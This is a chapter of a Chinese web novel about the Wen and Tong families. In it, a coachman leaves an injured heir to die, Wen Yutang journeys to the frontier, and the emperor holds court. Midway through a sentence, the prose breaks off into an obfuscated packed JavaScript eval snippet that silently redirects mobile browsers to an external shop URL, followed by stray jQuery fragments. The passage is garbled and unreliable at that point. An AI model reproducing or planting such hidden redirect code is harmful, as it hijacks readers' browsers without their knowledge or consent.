“什么狗屁公子,不过是托生了个好人家,一个瘸子还自己骑马,要是老天有眼,合该让他从马上摔下,不说摔死,也要摔个半残。”车夫念叨着,顶着风向城门走去,他走得慢,走了半个时辰也没见到什么人,好在天是晴的,看着日头走肯定能走回城内。
白茫茫的一片,突然见到一匹马小跑过来,车夫觉得有些眼熟,看起来就像是刚才佟舟骑走的那匹。
马儿识途,见到车夫跑得更快了,跑到他的身边,鼻息吞吐着热气,车夫拉住它的缰绳,惊声道,“佟公子呢?”
马儿不会说话,却理解了车夫的意思,回头看向来时路。车夫嗓子发紧,加快脚步,牵着马向前走去。
远处有一人趴在地上,发髻散乱,不知是死是活,头前洇出一片红,像是血迹。
车夫倒吸一口凉气,向前走去。凑近以后,车夫终于松了口气,那人虽然趴伏在地,但明显后背还有起伏。
还活着。
听到人的脚步和马蹄声,趴在地上的人单手挥舞起来,“是谁?是好心人吗?求求你,救救我!”
车夫这才看清这人的脸,果然是佟舟,这些血水是从他的右眼流下来的,和雪水混在一起,糊了一脸。
车夫在佟舟面前站定,佟舟却像看不到一样,继续哀求。车夫定睛一看,佟舟的左眼上血水结在一起,遮挡住了视线,所以没有看清他。
车夫的脚步顿住了,他压低了呼吸,几乎是一瞬间,他就做好了决定,他伸出手去,停在佟舟的肩膀旁,佟舟的手仍抓在地上,没有丝毫要借力起来的意思。
佟舟看不见他!
车夫直起身,像没看到地上的人一样,他不是这些公子哥,他身上还带着干粮,大不了寻些树枝点燃,也能熬过这初春寒夜,可沾上佟舟坠马这事,轻则被逐出府,重则……
车夫不敢再想,他扭头就走,刚迈出一步了,脚腕却被人抓住,他低头,佟舟满脸鲜血,好像地狱恶鬼。
车夫强忍住喉咙里的惊叫,他抖了抖腿,甩开佟舟的手,大步走开。
佟舟则慌了,大喊道,“求你救救我,我是京城佟家大公子,礼部侍郎的外甥!你救了我,少不了好处的!”
车夫越听越毛骨悚然,他的步速越来越快。
佟舟似乎感受到人已经走了,语气逐渐急迫起来,“我说的是真的,你别逃,你见死不救,我要出事了,做鬼也不会放过你!!!”
车夫急了,马儿还跟在他的后面,他一巴掌拍向马背,马儿惊惧,嘶鸣一声,四处奔走,一蹄踏上了佟舟的胸膛。
车夫想也不想,连滚带爬的跑走,直至听不到身后的声音。
时隔两日,温予棠跟着程影已赶了百里路,刚至宣府驿馆,便有程家的府兵前来传信,程影听了一会,很是惊讶的样子,等人走了,他看向一旁正站在桌旁为众人倒热茶的温予棠,有些踌躇。
温予棠将热茶分好,又将手边的最后一杯拿起,端到程影面前,“程小将军,先喝口吧,祛祛寒。”
程影接过,“这事叫下人做就好,何须自己伸手。”
温予棠笑笑,她不再多说,程影赴任途中,身旁的也都是程家的亲信,再走几日,人手忙不过来,别说倒茶这种小事了,什么脏活累活都要干了。
程影喝了口茶,这茶叶入口极涩,想必已经存放多年,放在将军府,可能连下人都难以下咽,程影看着温予棠喝起来面不改色,想了想,终究一饮而尽。
“你家中有件事……你想听吗?”程影开口道,很奇怪,如果是原来的他,肯定不管不顾就直接说出口了,但这会却想问问温予棠,如果她不想听,他也不再提。
“是三妹和佟表哥的事?”温予棠低头看着茶杯里的涟漪,她才离开温家三日,除了温舒意的事,家里还能发生什么大事。
“嗯……”见她没什么反应,程影才继续说下去,“回京路上,佟舟的车马坏了,你兄长和三妹妹带上他一起回城,等到了城内才让人来寻,寻到时,佟舟坠马摔断了只手臂,眼睛还受伤瞎了一只,又被发狂的马儿踩了一脚,在雪地里躺了好几个时辰,现在凶多吉少……”
过了半晌,温予棠才说道,“竟有此事……”
程影却认真道,“我看那佟舟不是什么好人……包括你那三妹。”
程影想起那日温舒意扑向温予棠的画面,犹豫道,“自己出了这档子事,竟然还要污在你头上,还好有母亲照看着你,你可要小心些。”
温予棠愣了,她看向程影,“你不怕正如温舒意所说,是我加害于她?”
程影神色复杂的看了她一眼,那表情看起来像是自己做的蠢事太多,被温予棠当傻子当惯了,他笑了一声,“我实在想不出,你这样做能有什么好处?温家待你总归是不好的,不然你为何能舍下京中的生活,去边塞吃苦……”
说完,程影却有些后悔,“你别多想,我没别的意思,既已离开温家,也不必太过伤怀。”
温予棠眸子微闪,这事处处都透着诡异,程家的人不知情,可那夜她可是实打实将佟舟从自己房间内赶了出来,这现世报未免来得太快了。她不禁怀疑,是不是苍天开眼,特意派了个神仙保佑她,就是下次能不能让这神仙早点来,不要等着她差点死了再出手,她心里想着别的事,摇了摇头,“无碍。”
她说完便转身,回房休息去了。
程影跟了一步,以为他的无心之言惹得温予棠伤心了,有些懊恼,却也不敢追上。
远在京城的温家,此时却已乱成了锅粥,那日回来后,佟氏先是将跟去的下人们圈禁起,怕有人嘴杂走漏了风声,又细细盘问温舒意发生了什么,等撤下了周围的人,温舒意才将事情全盘托出。
听到温舒意给温予棠下了药,让佟舟去侮辱温予棠,佟氏的眉头蹙紧,“糊涂!什么腌臜之物你也敢碰?这是你这种女儿家能
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17896246|212848||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
做的事?”
温舒意眼神怨毒,“母亲!是温予棠那贱人害我!肯定是她做了手脚,不然佟舟怎会出现在我房间!”
佟氏恨铁不成钢,吩咐桃籽,“关起来的那些人,除了我身边的,全部趁夜里打发出府。”
佟氏这算盘打得好,外人可搞不清什么温家二小姐还是三小姐,他们只知道这日是程小将军和他义妹离京的日子,程家不想被牵连,定不会多说,她担心的其实是佟家,但愿佟舟没事。
可随即温徵带回来的消息就让她头晕目眩,佟舟本就残了条腿,现在又坠了马,已经是个废人了。
佟氏巴不得佟舟直接死了,若是他醒来后指认温舒意……佟氏不敢细想,打着探望外甥的名号,天天赶往佟府。
温家近日事多,温老太太病了,三小姐也闭门不出,外甥更是至今昏迷不醒,连带温崇岳看起来都有些忧心忡忡。
“温卿,你看起来脸色不太好?”朔帝坐在龙椅上,从成堆的折子里抬起头,看向温崇岳,“三月事杂,殿试之后便是上巳大典,礼部准备的如何了?”
温崇岳被点名,忙道,“回禀圣上,一切皆按礼制,有条不紊,请圣上放心。”
朔帝点点头,他难得起了兴致关心下臣子,“程卿,影儿那孩子到哪了?”
程将军听到叫自己,抖了抖瞌睡,冬日刚过,正值休战,朝下议事也轮不到他这种武将,猛地被朔帝叫到,还有些意外,半晌才掐着手指说道,“已经离京十余日了,算算路程,还有半月才能到凉州。”
“嗯,那边暖得晚些,是需要这么长时间。”朔帝忽然想起来了什么,“我听说,你夫人认了温卿家的女儿做义女?”
“噢…是有这码事,我夫人与温家二小姐格外投缘,便认作了干女。”
“温家二小姐?可是温卿的女儿?”朔帝并不关心温家的事,把温予棠当作了温崇岳的女儿。
“回圣上,我嫡女在家行三,二小姐是我四弟温临渊之女。”温崇岳说道。
“哦?”提起温临渊,朔帝忽然想起,是有这么个人,当年温临渊带了这个生母不详的女童,直接把亲爹气得一命呜呼。
见朔帝若有所思,温崇岳继续道,“我这侄女身世可怜,既得程夫人垂爱,也是一桩幸事,只是此女八字不吉,也多亏程将军家不嫌弃……”
程将军摇了摇手,“怎会。”
“是吗?”站在朔帝身侧的人突然开口,他身长玉立,腰间佩剑,一身绯红朝服,如尊神像,冷不丁开口却吸引了所有人的视线。
“我看温二小姐并非不吉,分明是温家的福星才对,不然为什么温二小姐才离京,温大人家便波折频生?”崔知抱臂,抬眸看向温崇岳。
说完,又看向程将军,“听闻程将军近日身体爽利不少,不如去观中看看,是不是温二小姐在玉真观修行多年,结了善缘,如今也算半个程家人,神仙显灵,福报来了。”